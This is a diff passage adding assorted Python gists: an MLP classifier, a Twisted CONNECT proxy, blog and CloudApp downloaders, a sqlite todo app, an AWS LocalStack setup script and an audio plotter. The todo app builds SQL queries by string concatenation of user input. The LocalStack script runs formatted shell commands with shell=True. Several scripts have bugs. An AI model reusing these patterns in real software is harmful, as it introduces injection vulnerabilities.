+    def published(self):
+        return self.get_query_set().published()
+
+    def available_for_adding(self):
+        return self.get_query_set().available_for_adding()
+
+    def active(self):
+        return self.get_query_set().active()
+
+    def date_filter(self, start_date, end_date):
+        return self.get_query_set().date_filter(start_date, end_date)
\ No newline at end of file
diff --git a/hard-gists/2061456/._snippet.py b/hard-gists/2061456/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2061456/._snippet.py differ
diff --git a/hard-gists/2061456/snippet.py b/hard-gists/2061456/snippet.py
new file mode 100644
index 00000000..9bf1f557
--- /dev/null
+++ b/hard-gists/2061456/snippet.py
@@ -0,0 +1,193 @@
+import numpy as np
+import warnings
+
+from itertools import cycle, izip
+
+from sklearn.utils import gen_even_slices
+from sklearn.utils import shuffle
+from sklearn.base import BaseEstimator
+from sklearn.base import ClassifierMixin
+from sklearn.preprocessing import LabelBinarizer
+
+def _softmax(x):
+    np.exp(x, x)
+    x /= np.sum(x, axis=1)[:, np.newaxis]
+
+def _tanh(x):
+    np.tanh(x, x)
+
+def _dtanh(x):
+    """Derivative of tanh as a function of tanh."""
+    x *= -x
+    x += 1
+
+class BaseMLP(BaseEstimator):
+    """Base class for estimators base on multi layer
+    perceptrons."""
+
+    def __init__(self, n_hidden, lr, l2decay, loss, output_layer, batch_size, verbose=0):
+        self.n_hidden = n_hidden
+        self.lr = lr
+        self.l2decay = l2decay
+        self.loss = loss
+        self.batch_size = batch_size
+        self.verbose = verbose
+
+        # check compatibility of loss and output layer:
+        if output_layer=='softmax' and loss!='cross_entropy':
+            raise ValueError('Softmax output is only supported '+
+                'with cross entropy loss function.')
+        if output_layer!='softmax' and loss=='cross_entropy':
+            raise ValueError('Cross-entropy loss is only ' +
+                    'supported with softmax output layer.')
+
+        # set output layer and loss function
+        if output_layer=='linear':
+            self.output_func = id
+        elif output_layer=='softmax':
+            self.output_func = _softmax
+        elif output_layer=='tanh':
+            self.output_func = _tanh
+        else:
+            raise ValueError("'output_layer' must be one of "+
+                    "'linear', 'softmax' or 'tanh'.")
+
+        if not loss in ['cross_entropy', 'square', 'crammer_singer']:
+            raise ValueError("'loss' must be one of " +
+                    "'cross_entropy', 'square' or 'crammer_singer'.")
+            self.loss = loss
+
+    def fit(self, X, y, max_epochs, shuffle_data, verbose=0):
+        # get all sizes
+        n_samples, n_features = X.shape
+        if y.shape[0] != n_samples:
+            raise ValueError("Shapes of X and y don't fit.")
+        self.n_outs = y.shape[1]
+        #n_batches = int(np.ceil(float(n_samples) / self.batch_size))
+        n_batches = n_samples / self.batch_size
+        if n_samples % self.batch_size != 0:
+            warnings.warn("Discarding some samples: \
+                sample size not divisible by chunk size.")
+        n_iterations = int(max_epochs * n_batches)
+
+        if shuffle_data:
+            X, y = shuffle(X, y)
+
+        # generate batch slices
+        batch_slices = list(gen_even_slices(n_batches * self.batch_size, n_batches))
+
+        # generate weights.
+        # TODO: smart initialization
+        self.weights1_ = np.random.uniform(size=(n_features, self.n_hidden))/np.sqrt(n_features)
+        self.bias1_ = np.zeros(self.n_hidden)
+        self.weights2_ = np.random.uniform(size=(self.n_hidden, self.n_outs))/np.sqrt(self.n_hidden)
+        self.bias2_ = np.zeros(self.n_outs)
+
+        # preallocate memory
+        x_hidden = np.empty((self.batch_size, self.n_hidden))
+        delta_h = np.empty((self.batch_size, self.n_hidden))
+        x_output = np.empty((self.batch_size, self.n_outs))
+        delta_o = np.empty((self.batch_size, self.n_outs))
+
+        # main loop
+        for i, batch_slice in izip(xrange(n_iterations), cycle(batch_slices)):
+            self._forward(i, X, batch_slice, x_hidden, x_output)
+            self._backward(i, X, y, batch_slice, x_hidden, x_output, delta_o, delta_h)
+        return self
+
+    def predict(self, X):
+        n_samples = X.shape[0]
+        x_hidden = np.empty((n_samples, self.n_hidden))
+        x_output = np.empty((n_samples, self.n_outs))
+        self._forward(None, X, slice(0, n_samples), x_hidden, x_output)
+        return x_output
+
+    def _forward(self, i, X, batch_slice, x_hidden, x_output):
+        """Do a forward pass through the network"""
+        x_hidden[:] = np.dot(X[batch_slice], self.weights1_)
+        x_hidden += self.bias1_
+        np.tanh(x_hidden, x_hidden)
+        x_output[:] = np.dot(x_hidden, self.weights2_)
+        x_output += self.bias2_
+
+        # apply output nonlinearity (if any)
+        self.output_func(x_output)
+
+    def _backward(self, i, X, y, batch_slice, x_hidden, x_output, delta_o, delta_h):
+        """Do a backward pass through the network and update the weights"""
+
+        # calculate derivative of output layer
+        if self.loss in ['cross_entropy'] or (self.loss == 'square' and self.output_func == id):
+            delta_o[:] = y[batch_slice] - x_output
+        elif self.loss == 'crammer_singer':
+            raise ValueError("Not implemented yet.")
+            delta_o[:] = 0
+            delta_o[y[batch_slice], np.ogrid[len(batch_slice)]] -= 1
+            delta_o[np.argmax(x_output - np.ones((1))[y[batch_slice], np.ogrid[len(batch_slice)]], axis=1), np.ogrid[len(batch_slice)]] += 1
+
+        elif self.loss == 'square' and self.output_func == _tanh:
+            delta_o[:] = (y[batch_slice] - x_output) * _dtanh(x_output)
+        else:
+            raise ValueError("Unknown combination of output function and error.")
+
+        if self.verbose > 0:
+            print(np.linalg.norm(delta_o / self.batch_size))
+        delta_h[:] = np.dot(delta_o, self.weights2_.T)
+
+        # update weights
+        self.weights2_ += self.lr / self.batch_size * np.dot(x_hidden.T, delta_o)
+        self.bias2_ += self.lr * np.mean(delta_o, axis=0)
+        self.weights1_ += self.lr / self.batch_size * np.dot(X[batch_slice].T, delta_h)
+        self.bias1_ += self.lr * np.mean(delta_h, axis=0)
+
+
+class MLPClassifier(BaseMLP, ClassifierMixin):
+    """ Multilayer Perceptron Classifier.
+
+    Uses a neural network with one hidden layer.
+
+
+    Parameters
+    ----------
+
+
+    Attributes
+    ----------
+
+    Notes
+    -----
+
+
+    References
+    ----------"""
+    def __init__(self, n_hidden=200, lr=0.1, l2decay=0, loss='cross_entropy',
+            output_layer='softmax', batch_size=100, verbose=0):
+        super(MLPClassifier, self).__init__(n_hidden, lr, l2decay, loss,
+                output_layer, batch_size, verbose)
+
+    def fit(self, X, y, max_epochs=10, shuffle_data=False):
+        self.lb = LabelBinarizer()
+        one_hot_labels = self.lb.fit_transform(y)
+        super(MLPClassifier, self).fit(
+                X, one_hot_labels, max_epochs,
+                shuffle_data)
+        return self
+
+    def predict(self, X):
+        prediction = super(MLPClassifier, self).predict(X)
+        return self.lb.inverse_transform(prediction)
+
+
+def test_classification():
+    from sklearn.datasets import load_digits
+    digits = load_digits()
+    X, y = digits.data, digits.target
+    mlp = MLPClassifier()
+    mlp.fit(X, y)
+    training_score = mlp.score(X, y)
+    print("training accuracy: %f" % training_score)
+    assert(training_score > .95)
+
+
+if __name__ == "__main__":
+    test_classification()
\ No newline at end of file
diff --git a/hard-gists/2068759/._snippet.py b/hard-gists/2068759/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2068759/._snippet.py differ
diff --git a/hard-gists/2068759/snippet.py b/hard-gists/2068759/snippet.py
new file mode 100644
index 00000000..1cc28884
--- /dev/null
+++ b/hard-gists/2068759/snippet.py
@@ -0,0 +1,128 @@
+from twisted.web.proxy import Proxy, ProxyRequest
+from twisted.internet.protocol import Protocol, ClientFactory
+import urlparse
+from twisted.python import log
+
+
+class ConnectProxyRequest(ProxyRequest):
+    """HTTP ProxyRequest handler (factory) that supports CONNECT"""
+
+    connectedProtocol = None
+
+    def process(self):
+        if self.method == 'CONNECT':
+            self.processConnectRequest()
+        else:
+            ProxyRequest.process(self)
+
+    def fail(self, message, body):
+        self.setResponseCode(501, message)
+        self.responseHeaders.addRawHeader("Content-Type", "text/html")
+        self.write(body)
+        self.finish()                                
+
+    def splitHostPort(self, hostport, default_port):
+        port = default_port
+        parts = hostport.split(':', 1)
+        if len(parts) == 2:
+            try:
+                port = int(parts[1])
+            except ValueError:
+                pass
+        return parts[0], port
+
+    def processConnectRequest(self):
+        parsed = urlparse.urlparse(self.uri)
+        default_port = self.ports.get(parsed.scheme)
+
+        host, port = self.splitHostPort(parsed.netloc or parsed.path,
+                                        default_port)
+        if port is None:
+            self.fail("Bad CONNECT Request",
+                      "Unable to parse port from URI: %s" % self.uri)
+            return
+
+        clientFactory = ConnectProxyClientFactory(host, port, self)
+
+        # TODO provide an API to set proxy connect timeouts
+        self.reactor.connectTCP(host, port, clientFactory)
+
+
+class ConnectProxy(Proxy):
+    """HTTP Server Protocol that supports CONNECT"""
+    requestFactory = ConnectProxyRequest
+    connectedRemote = None
+
+    def requestDone(self, request):
+        if request.method == 'CONNECT' and self.connectedRemote is not None:
+            self.connectedRemote.connectedClient = self
+        else:
+            Proxy.requestDone(self, request)
+
+    def connectionLost(self, reason):
+        if self.connectedRemote is not None:
+            self.connectedRemote.transport.loseConnection(reason)
+        Proxy.connectionLost(self, reason)
+
+    def dataReceived(self, data):
+        if self.connectedRemote is None:
+            Proxy.dataReceived(self, data)
+        else:
+            # Once proxy is connected, forward all bytes received
+            # from the original client to the remote server.
+            self.connectedRemote.transport.write(data)
+
+
+class ConnectProxyClient(Protocol):
+    connectedClient = None
+
+    def connectionMade(self):
+        self.factory.request.channel.connectedRemote = self
+        self.factory.request.setResponseCode(200, "CONNECT OK")
+        self.factory.request.setHeader('X-Connected-IP',
+            self.transport.realAddress[0])
+        self.factory.request.setHeader('Content-Length', '0')
+        self.factory.request.finish()
+
+    def connectionLost(self, reason):
+        if self.connectedClient is not None:
+            self.connectedClient.transport.loseConnection(reason)
+
+    def dataReceived(self, data):
+        if self.connectedClient is not None:
+            # Forward all bytes from the remote server back to the
+            # original connected client
+            self.connectedClient.transport.write(data)
+        else:
+            log.msg("UNEXPECTED DATA RECEIVED:", data)
+
+
+class ConnectProxyClientFactory(ClientFactory):
+    protocol = ConnectProxyClient
+
+    def __init__(self, host, port, request):
+        self.request = request
+        self.host = host
+        self.port = port
+
+    def clientConnectionFailed(self, connector, reason):
+        self.request.fail("Gateway Error", str(reason))
+
+
+
+if __name__ == '__main__':
+    import sys
+    log.startLogging(sys.stderr)
+
+    import argparse
+    ap = argparse.ArgumentParser()
+    ap.add_argument('port', default=0, nargs='?', type=int)
+    ns = ap.parse_args()
+
+    import twisted.web.http
+    factory = twisted.web.http.HTTPFactory()
+    factory.protocol = ConnectProxy
+
+    import twisted.internet
+    c = twisted.internet.reactor.listenTCP(ns.port, factory)
+    twisted.internet.reactor.run()
\ No newline at end of file
diff --git a/hard-gists/2083178/._snippet.py b/hard-gists/2083178/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2083178/._snippet.py differ
diff --git a/hard-gists/2083178/snippet.py b/hard-gists/2083178/snippet.py
new file mode 100644
index 00000000..5e73814f
--- /dev/null
+++ b/hard-gists/2083178/snippet.py
@@ -0,0 +1,110 @@
+"""
+# Dump your data from Posterous.
+
+Requires:
+
+    * Posterous username and password
+    * An API Token from http://posterous.com/api
+    * Posterous site id also from http://posterous.com/api
+    * The Python libraries requests and python-dateutil
+
+To use:
+
+    python posterous_dump.py
+
+"""
+
+
+API_TOKEN = '<api_token>'
+
+USERNAME = '<username>'
+PASSWORD = '<password>'
+
+SITE_ID = '<side_id>'
+
+POSTS_URL = 'http://posterous.com/api/2/sites/%s/posts' % (SITE_ID,)
+
+
+
+FOLDER = 'posterous_dump'
+
+import json, requests, os
+from dateutil import parser
+
+
+def fetchFromPosterous(page):
+    print 'Fetching page %s' % (page,)
+    result = requests.get(POSTS_URL, params={
+        'api_token': API_TOKEN,
+        'page': page,
+    }, auth=(USERNAME, PASSWORD))
+    print result.status_code
+    return result.content
+
+def savePosts(posts):
+    print 'saving posts:', len(posts)
+    for post in posts:
+        savePost(post)
+    if len(posts) == 0:
+        raise
+
+def savePost(post_json):
+    print post_json
+    print 'saving', post_json.get('slug')
+    post_date = parser.parse(post_json.get('display_date'))
+    post_folder = '%s-%s' % (post_date.strftime('%Y-%m-%d-%H-%M-%S'),post_json.get('slug'))
+    target_dir = os.path.join(FOLDER, post_folder)
+    print target_dir
+    try:
+        os.mkdir(target_dir)
+    except OSError:
+        pass
+    file(os.path.join(target_dir,'post.json'),'w').write(json.dumps(post_json))
+    getMedia(post_json['media'], target_dir)
+
+def getMedia(media, target_dir):
+    print len(media)
+    files_to_get = []
+    for image in media.get('images'):
+        fetch_url = image.get('full').get('url')
+        files_to_get.append(fetch_url)
+    for video in media.get('videos'):
+        files_to_get.append(video.get('url'))
+        files_to_get.append(video.get('mp4'))
+    for audio in media.get('audio_files'):
+        files_to_get.append(audio.get('url'))
+
+    for fetch_url in files_to_get:
+        file_name = os.path.split(fetch_url)[1]
+        out_file = requests.get(fetch_url)
+        print out_file.status_code, file_name
+        file(os.path.join(target_dir,file_name),'w').write(out_file.content)
+
+
+
+page_to_fetch = 1
+
+print 'Starting'
+
+if not os.path.exists(FOLDER):
+    os.mkdir(FOLDER)
+
+while page_to_fetch:
+    result = fetchFromPosterous(page_to_fetch)
+    try:
+        posts = json.loads(result)
+    except ValueError:
+        print raw_json_data
+        page_to_fetch = None
+    else:
+        if len(posts) > 0 and result:
+            savePosts(posts)
+            page_to_fetch += 1
+        else:
+            page_to_fetch = None
+
+    import time
+    time.sleep(5)
+
+
+print 'Done'
diff --git a/hard-gists/20a147e657ee5e8d8666/._snippet.py b/hard-gists/20a147e657ee5e8d8666/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/20a147e657ee5e8d8666/._snippet.py differ
diff --git a/hard-gists/20a147e657ee5e8d8666/snippet.py b/hard-gists/20a147e657ee5e8d8666/snippet.py
new file mode 100644
index 00000000..f3116d03
--- /dev/null
+++ b/hard-gists/20a147e657ee5e8d8666/snippet.py
@@ -0,0 +1,17 @@
+import pandas as pd
+import matplotlib.pyplot as plt
+import seaborn
+from sklearn.cluster import KMeans
+import numpy as np
+from scipy.spatial.distance import cdist, pdist
+
+def eblow(df, n):
+    kMeansVar = [KMeans(n_clusters=k).fit(df.values) for k in range(1, n)]
+    centroids = [X.cluster_centers_ for X in kMeansVar]
+    k_euclid = [cdist(df.values, cent) for cent in centroids]
+    dist = [np.min(ke, axis=1) for ke in k_euclid]
+    wcss = [sum(d**2) for d in dist]
+    tss = sum(pdist(df.values)**2)/df.values.shape[0]
+    bss = tss - wcss
+    plt.plot(bss)
+    plt.show()
diff --git a/hard-gists/20a36f89546854cc434ecee70522cb8d/._snippet.py b/hard-gists/20a36f89546854cc434ecee70522cb8d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/20a36f89546854cc434ecee70522cb8d/._snippet.py differ
diff --git a/hard-gists/20a36f89546854cc434ecee70522cb8d/snippet.py b/hard-gists/20a36f89546854cc434ecee70522cb8d/snippet.py
new file mode 100644
index 00000000..fae807a6
--- /dev/null
+++ b/hard-gists/20a36f89546854cc434ecee70522cb8d/snippet.py
@@ -0,0 +1,92 @@
+#! python3
+
+# Share sheet extension script for adding new pages to Swift Playgrounds (experimental)
+
+# HOW TO USE:
+# 1. Add this script as a shortcut to the Pythonista extension (either from Pythonista's settings or the share sheet extension itself)
+# 2. Tap the "Share" button in the Playground app's library.
+# 3. Select the playground that you want to add a page to
+# 4. Select "Run Pythonista Script" in the share sheet
+# 5. Run this script, to select the chapter and page title.
+# 6. At the end of the script, an "Open in..." sheet will be shown - select the Swift Playground app there. This will create a copy of the playground in your library, with the new page added to it.
+
+# NOTE: Only tested in Pythonista 3, some minor modifications may be needed to make it work in 2.x.
+
+import appex
+import os
+import shutil
+import tempfile
+import console
+import dialogs
+from PIL import Image
+import plistlib
+
+# This is the source codeof the new page, edit as needed:
+swift = '''print("Hello World")
+'''
+
+# This is the manifest (Info.plist basically) for the page, not sure what other values are supported for LiveViewMode.
+manifest_tpl = '''<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+    <key>Version</key>
+    <string>1.0</string>
+    <key>Name</key>
+    <string>{{NAME}}</string>
+    <key>LiveViewMode</key>
+    <string>VisibleByDefault</string>
+    <key>LiveViewEdgeToEdge</key>
+    <true/>
+    <key>PosterReference</key>
+    <string>Pythonista.png</string>
+</dict>
+</plist>
+'''
+
+def main():
+	if not appex.is_running_extension():
+		print('Run this script from the share sheet extension in the Playgrounds app')
+		return
+	pg_path = appex.get_file_path()
+	if not pg_path or not pg_path.endswith('.playgroundbook'):
+		print('No Playground book found in share sheet input')
+		return
+	tmpdir = tempfile.gettempdir()
+	pg_name = os.path.split(pg_path)[1]
+	dest_path = os.path.join(tmpdir, pg_name)
+	try:
+		shutil.rmtree(dest_path)
+	except IOError:
+		pass
+	shutil.copytree(pg_path, dest_path)
+	chapters_path = os.path.join(dest_path, 'Contents/Chapters')
+	chapter_names = os.listdir(chapters_path)
+	chapter = dialogs.list_dialog('Chapter', chapter_names)
+	if chapter is None:
+		return
+	try:
+		page_title = dialogs.input_alert('New Page Title')
+	except KeyboardInterrupt:
+		return
+	chapter_path = os.path.join(chapters_path, chapter)
+	with open(os.path.join(chapter_path, 'Manifest.plist'), 'rb') as f:
+		chapter_manifest = plistlib.readPlist(f)
+	chapter_manifest['Pages'].append(page_title + '.playgroundpage')
+	with open(os.path.join(chapter_path, 'Manifest.plist'), 'wb') as f:
+		plistlib.dump(chapter_manifest, f)
+	page_path = os.path.join(chapter_path, 'Pages/' + page_title + '.playgroundpage')
+	os.mkdir(page_path)
+	os.mkdir(os.path.join(page_path, 'Resources'))
+	img = Image.open('test:Pythonista')
+	img.save(os.path.join(page_path, 'Resources/Pythonista.png'))
+	with open(os.path.join(page_path, 'Contents.swift'), 'w') as f:
+		f.write(swift)
+	manifest = manifest_tpl.replace('{{NAME}}', page_title)
+	with open(os.path.join(page_path, 'Manifest.plist'), 'w') as f:
+		f.write(manifest)
+	console.open_in(dest_path)
+	shutil.rmtree(dest_path)
+
+if __name__ == '__main__':
+	main()
diff --git a/hard-gists/20d90e1f21792a67eb6d27c445aa7a1f/._snippet.py b/hard-gists/20d90e1f21792a67eb6d27c445aa7a1f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/20d90e1f21792a67eb6d27c445aa7a1f/._snippet.py differ
diff --git a/hard-gists/20d90e1f21792a67eb6d27c445aa7a1f/snippet.py b/hard-gists/20d90e1f21792a67eb6d27c445aa7a1f/snippet.py
new file mode 100644
index 00000000..082bb436
--- /dev/null
+++ b/hard-gists/20d90e1f21792a67eb6d27c445aa7a1f/snippet.py
@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+
+import sys
+import yaml
+from subprocess import call
+
+def main():
+    f = open(sys.argv[1])
+    data = yaml.load(f)
+    create_queues(data['Local']['Queues'])
+    create_topics(data['Local']['Topics'])
+
+    print('All queues and topics created')
+
+def create_queues(queues):
+    create_queue_command = 'aws --endpoint-url=http://localhost:4576 sqs create-queue --queue-name {}'
+    for queue in queues:
+        call(create_queue_command.format(queue['Name']), shell=True)
+        print('Queue {} created'.format(queue['Name']))
+
+def create_topics(topics):
+    create_topic_command = 'aws --endpoint-url=http://localhost:4575 sns create-topic --name {}'
+    for topic in topics:
+        call(create_topic_command.format(topic['Name']), shell=True)
+        print('Topic {} created'.format(topic['Name']))
+        subscriptions = topic.get('Subscriptions', None)
+        if subscriptions:
+            for subscription in subscriptions:
+                subscribe_topic(topic, subscription)
+
+def subscribe_topic(topic, subscription):
+    sns_arn = 'arn:aws:sns:us-east-1:123456789012:{}'.format(topic['Name'])
+    sqs_arn = 'arn:aws:sqs:us-east-1:123456789012:{}'.format(subscription['QueueName'])
+    create_subscription_command = 'aws --endpoint-url=http://localhost:4575 sns subscribe --topic-arn {} --protocol sqs --notification-endpoint {}'
+    call(create_subscription_command.format(sns_arn, sqs_arn), shell=True)
+    print('Queue {} subscribed to {}'.format(subscription['QueueName'], topic['Name']))
+
+if __name__ == "__main__":
+   main()
diff --git a/hard-gists/211868b4f589428d2626/._snippet.py b/hard-gists/211868b4f589428d2626/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/211868b4f589428d2626/._snippet.py differ
diff --git a/hard-gists/211868b4f589428d2626/snippet.py b/hard-gists/211868b4f589428d2626/snippet.py
new file mode 100644
index 00000000..d1c4376c
--- /dev/null
+++ b/hard-gists/211868b4f589428d2626/snippet.py
@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import os
+import time
+import json
+import urllib
+import urllib2
+from dateutil.parser import parse
+
+USERNAME = "mail@gmail.com"
+PASSWORD = "superpass"
+
+
+def request(url):
+    # Digest Authentication
+    authhandler = urllib2.HTTPDigestAuthHandler()
+    authhandler.add_password('Application', url, USERNAME, PASSWORD)
+    opener = urllib2.build_opener(authhandler)
+    opener.addheaders = [('Accept', 'application/json')]
+    urllib2.install_opener(opener)
+
+    response = urllib2.urlopen(url)
+    if response.getcode() == 200:
+        body = json.loads(response.read())
+        if len(body):
+            return body
+
+    return False
+
+
+def download(url, created_at):
+    if not url:
+        return False
+
+    try:
+        print 'Source: %s' % url
+        filename = url.split('/')[-1]
+        filename = urllib.unquote(filename.encode('utf-8')).decode('utf-8')
+
+        # if a file exists add created_at
+        if os.path.isfile(filename):
+            filename = '%s-%s' % (created_at, filename)
+
+        print 'Downloading... %s' % filename
+        urllib.urlretrieve(url, filename)
+        os.utime(filename, (created_at, created_at))
+    except IOError:
+        download(url)
+    except LookupError:
+        pass
+
+
+if __name__ == "__main__":
+    page = 0
+    result = True
+    while result:
+        page = page + 1
+        result = request('http://my.cl.ly/items?per_page=100&page=' + str(page))
+
+        if not result:
+            break
+
+        for n in result:
+            source_url = n.get(u'source_url')
+            created_at = int(time.mktime(parse(n.get(u'updated_at')).timetuple()))
+            # print json.dumps(n, sort_keys=True, indent=4)
+            download(source_url, created_at)
diff --git a/hard-gists/2142891/._snippet.py b/hard-gists/2142891/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2142891/._snippet.py differ
diff --git a/hard-gists/2142891/snippet.py b/hard-gists/2142891/snippet.py
new file mode 100644
index 00000000..1f06c28c
--- /dev/null
+++ b/hard-gists/2142891/snippet.py
@@ -0,0 +1,30 @@
+import httplib
+
+import base64
+import contextlib
+import simplejson
+import urllib
+
+from django.conf import settings
+
+def stripe_fetch(resource, method='GET', params=None, secret=settings.STRIPE_SECRET, prefix='/v1'):
+    headers = {
+        'Accept': 'application/json',
+        'User-Agent': 'Clutch 1.0',
+        'Authorization': 'Basic %s' % (base64.b64encode('%s:' % (secret,)),),
+    }
+    if params:
+        flattened = {}
+        for key, val in params.iteritems():
+            if getattr(val, 'iteritems', None) is not None:
+                for sub_key, sub_val in val.iteritems():
+                    flattened['%s[%s]' % (key, sub_key)] = sub_val
+            else:
+                flattened[key] = val
+        body = urllib.urlencode(flattened)
+    else:
+        body = ''
+    with contextlib.closing(httplib.HTTPSConnection('api.stripe.com')) as conn:
+        conn.request(method, prefix + resource, body, headers)
+        raw_data = conn.getresponse().read()
+    return simplejson.loads(raw_data)
\ No newline at end of file
diff --git a/hard-gists/215101/._snippet.py b/hard-gists/215101/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/215101/._snippet.py differ
diff --git a/hard-gists/215101/snippet.py b/hard-gists/215101/snippet.py
new file mode 100644
index 00000000..2a7709a0
--- /dev/null
+++ b/hard-gists/215101/snippet.py
@@ -0,0 +1,129 @@
+#! /sw/bin/python
+# filename: todosqlite.py
+# author: ted heich
+# blog: http://fornoobs.info 
+#
+# A simple todo list app using Python and sqlite using the cmd line interface
+# 
+
+#from pysqlite2 import dbapi2 as sqlite
+import pysqlite2.dbapi2 as sqlite
+import sys
+
+def search():
+	if len(sys.argv) > 2:
+		search = sys.argv[2]
+	
+	try:
+		sqlstatement = "SELECT task, status, id FROM todo WHERE task LIKE '%" + search + "%';"
+		cur.execute(sqlstatement)
+		records = cur.fetchall()
+		counter = 1
+		
+		for rec in records:
+			counter = counter + 1
+		
+			if rec[1] == 0:
+				status = "(status = nope)"
+			else:
+				status = "(status = done)"				
+			print counter, rec[0], status, "[ID=" ,rec[2],"]"
+			
+	
+	except sqlite.Error, e:
+		print "Oooops: ", e.args[0]
+	
+
+def list():
+	
+	sqlstatement = "SELECT task, status, id FROM todo WHERE status = 0"
+	
+	if len(sys.argv) > 2:
+		if sys.argv[2] == "all":
+			sqlstatement = "SELECT task, status, id FROM todo;"
+		elif sys.argv[2] == "completed":
+			sqlstatement = "SELECT task, status, id FROM todo WHERE status <> 0"
+			
+	try:	
+		cur.execute(sqlstatement)
+		records = cur.fetchall()
+		counter = 0
+		for rec in records:
+			counter = counter + 1
+		
+			if rec[1] == 0:
+				status = "(status = nope)"
+			else:
+				status = "(status = done)"				
+			print counter, rec[0], status, "[ID=" ,rec[2],"]"
+			
+	except sqlite.Error, e:
+		print "Ooops:", e.args[0]
+
+def add(param):
+	try:
+		sql = "INSERT INTO todo values(NULL,'" + param + "',0)"
+		cur.execute(sql)
+		conn.commit()
+		print "Affected: %d", cur.rowcount
+	except sqlite.Error, e:
+		print "Ooops:", e.args[0]
+
+def delete(param):
+	
+	try:
+		cur.execute("DELETE FROM todo WHERE ID='" + param + "'")
+		conn.commit()
+		print "Affected: %d", cur.rowcount
+	except sqlite.Error, e:
+		print "Ooops:", e.args[0]
+	
+def complete(param):
+	
+	try:
+		cur.execute("UPDATE todo set status=1" + " WHERE id=" + param)
+		conn.commit()
+		print "Affected: %d", cur.rowcount
+	except sqlite.Error, e:
+		print "Ooops:", e.args[0]
+
+def main():
+	
+	global conn
+	global cur
+	
+	try:		
+		conn = sqlite.connect("todo.sqlite")
+		cur = conn.cursor()
+	except sqlite.Error, e:
+		print "Ooops: ", e.args[0]
+		
+	if len(sys.argv) == 1 :
+		print "Usage is: $td list | add | delete | complete | search"
+		sys.exit(0)
+	carg = sys.argv[1]
+	
+	if carg == "add":
+		if len(sys.argv) < 3:
+			print "You gotta type to the task"
+			sys.exit(0)
+		add(sys.argv[2])
+	elif carg == "delete":
+		if len(sys.argv) < 3:
+			print "You gotta type the ID to delete"
+			sys.exit(0)
+		delete(sys.argv[2])
+	elif carg == "complete":
+		if len(sys.argv) < 3:
+			print "You gotta type the ID to mark as complete"
+			sys.exit(0)
+		complete(sys.argv[2])
+	elif carg == "list":
+		list()
+	elif carg =="search":
+		search()
+	else:
+		print "Gotta type add | delete | list | complete only"
+	
+if __name__ == "__main__":
+	main()
diff --git a/hard-gists/2152643/._snippet.py b/hard-gists/2152643/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2152643/._snippet.py differ
diff --git a/hard-gists/2152643/snippet.py b/hard-gists/2152643/snippet.py
new file mode 100644
index 00000000..acb31c77
--- /dev/null
+++ b/hard-gists/2152643/snippet.py
@@ -0,0 +1,138 @@
+""" Play an audio file with pyaudio while concurrently showing audio playhead 
+on a matplotlib plot of the audio time series and spectrogram.
+
+Adjust duration and filename in the script below to reflect your audio file.
+
+v. 0.1
+21 Mar 2012 
+Eric Bruning
+"""
+
+import matplotlib
+# matplotlib.use('MacOSX')
+
+import pyaudio
+import wave
+import sys
+import numpy as np
+
+import multiprocessing
+
+duration = 12.5
+filename = '/data/AveFormosissima.wav'
+
+wf = wave.open(filename, 'rb')
+
+def dB(a,base=1.0):
+    return 10.0*np.log10(a/base)
+
+fs = wf.getframerate()
+bytes_per_sample = wf.getsampwidth()
+bits_per_sample  = bytes_per_sample * 8
+dtype = 'int{0}'.format(bits_per_sample)
+channels = wf.getnchannels()
+
+def audiostream(queue, n_channels, sampling, n_bytes_per_sample):
+    # open stream
+    p = pyaudio.PyAudio()
+    
+    stream = p.open(format =
+                    p.get_format_from_width(n_bytes_per_sample),
+                    channels = n_channels,
+                    rate = sampling,
+                    output = True)
+    
+    
+    while True:
+        data = queue.get()
+        print "input latency: {0}".format(stream.get_input_latency())
+        print "output latency: {0}".format(stream.get_output_latency())
+        print "avail read: {0}".format(stream.get_read_available())
+        print "avail write: {0}".format(stream.get_write_available())
+        if data == 'Stop':
+            break
+        stream.write(data)
+    stream.close()
+
+Q = multiprocessing.Queue()
+audio_process = multiprocessing.Process(target=audiostream, args=(Q,channels,fs,bytes_per_sample))
+audio_process.start()
+# audio_process.join()
+# stream = Q.get()
+# audio_process.join()
+
+# read data
+audio = np.fromstring(wf.readframes(int(duration*fs*bytes_per_sample/channels)), dtype=dtype)
+audio.shape = (audio.shape[0]/channels, channels)
+
+ch_left = 0
+ch_right = 1
+
+ch = ch_right
+
+audio_fft = np.fft.fft(audio[:,ch])
+freqs = np.fft.fftfreq(audio[:,ch].shape[0], 1.0/fs) / 1000.0
+max_freq_kHz = freqs.max()
+times = np.arange(audio.shape[0]) / float(fs)
+fftshift = np.fft.fftshift
+
+import matplotlib.pyplot as plt
+fig = plt.figure(figsize=(8.5,11))
+ax_spec_gram = fig.add_subplot(311)
+ax_fft  = fig.add_subplot(312)
+ax_time = fig.add_subplot(313)
+
+ax_spec_gram.specgram(audio[:,ch], Fs=fs, cmap='gist_heat')
+ax_spec_gram.set_xlim(0,duration)
+ax_spec_gram.set_ylim(0,max_freq_kHz*1000.0)
+ax_spec_gram.set_ylabel('Frequency (Hz)')
+
+ax_fft.plot(fftshift(freqs), fftshift(dB(audio_fft)))
+ax_fft.set_xlim(0,max_freq_kHz)
+ax_fft.set_xlabel('Frequency (kHz)')
+ax_fft.set_ylabel('dB')
+
+ax_time.plot(times, audio[:,ch])
+ax_time.set_xlabel('Time (s)')
+ax_time.set_xlim(0,duration)
